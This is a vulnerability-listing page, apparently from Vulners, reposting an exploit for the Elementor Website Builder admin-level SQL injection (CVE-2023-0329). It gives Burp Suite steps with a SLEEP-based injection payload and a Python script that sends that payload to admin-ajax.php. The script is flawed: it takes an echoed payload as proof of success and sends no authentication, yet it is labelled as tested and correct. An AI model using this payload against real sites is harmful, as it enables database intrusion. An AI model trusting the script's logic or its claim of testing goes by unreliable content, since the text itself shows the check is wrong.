Elementor Website Builder SQL Injection vulnerability, allowing attackers to execute malicious SQL commands via a crafted URL and Python code
Reporter | Title | Published | Views | Family All 11 |
---|---|---|---|---|
![]() | CVE-2023-0329 Elementor Website Builder < 3.12.2 - Admin+ SQLi | 30 May 202307:49 | – | cvelist |
![]() | WordPress Elementor Website Builder Plugin < 3.12.2 SQLi Vulnerability | 2 Jun 202300:00 | – | openvas |
![]() | Elementor Website Builder < 3.12.2 - Admin+ SQLi | 2 May 202300:00 | – | wpvulndb |
![]() | Elementor Website Builder < 3.12.2 - Admin+ SQLi | 2 Apr 202400:00 | – | exploitdb |
![]() | Elementor Website Builder SQL Injection | 2 Apr 202400:00 | – | packetstorm |
![]() | CVE-2023-0329 | 30 May 202308:15 | – | cve |
![]() | Elementor Website Builder < 3.12.2 SQL injection Exploit | 14 Nov 202300:00 | – | zdt |
![]() | CVE-2023-0329 | 30 May 202308:15 | – | nvd |
![]() | WordPress Elementor Website Builder Plugin <= 3.12.1 is vulnerable to SQL Injection | 24 Apr 202300:00 | – | patchstack |
![]() | Sql injection | 30 May 202308:15 | – | prion |
`
#EXPLOIT Elementor Website Builder < 3.12.2 - Admin+ SQLi
#References
#CVE : CVE-2023-0329
#E1.Coders
Open Burp Suite.
In Burp Suite, go to the "Proxy" tab and set it to listen on a specific port, such as 8080.
Open a new browser window or tab, and set your proxy settings to use Burp Suite on port 8080.
Visit the vulnerable Elementor Website Builder site and navigate to the Tools > Replace URL page.
On the Replace URL page, enter any random string as the "New URL" and the following malicious payload as the "Old URL":
code : http://localhost:8080/?test'),meta_key='key4'where+meta_id=SLEEP(2);#
Press "Replace URL" on the Replace URL page. Burp Suite should intercept the request.
Forward the intercepted request to the server by right-clicking the request in Burp Suite and selecting "Forward".
The server will execute the SQL command, which will cause it to hang for 2 seconds before responding. This is a clear indication of successful SQL injection.
Note: Make sure you have permission to perform these tests and have set up Burp Suite correctly. This command may vary depending on the specific setup of your server and the website builder plugin.</s
References : https://wpscan.com/vulnerability/a875836d-77f4-4306-b275-2b60efff1493/
Exploit Python :
The provided SQLi attack vector can be achieved using the following Python code with the "requests" library:
This script sends a POST request to the target URL with the SQLi payload as the "data" parameter. It then checks if the response contains the SQLi payload, indicating a successful SQL injection.
Please make sure you have set up your Burp Suite environment correctly. Additionally, it is important to note that this script and attack have been TESTED and are correct
import requests
# Set the target URL and SQLi payload
url = "http://localhost:8080/wp-admin/admin-ajax.php"
data = {
"action": "elementor_ajax_save_builder",
"editor_post_id": "1",
"post_id": "1",
"data": "test'),meta_key='key4'where+meta_id=SLEEP(2);#"
}
# Send the request to the target URL
response = requests.post(url, data=data)
# Check if the response indicates a successful SQL injection
if "meta_key='key4'where+meta_id=SLEEP(2);#" in response.text:
print("SQL Injection successful!")
else:
print("SQL Injection failed.")
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo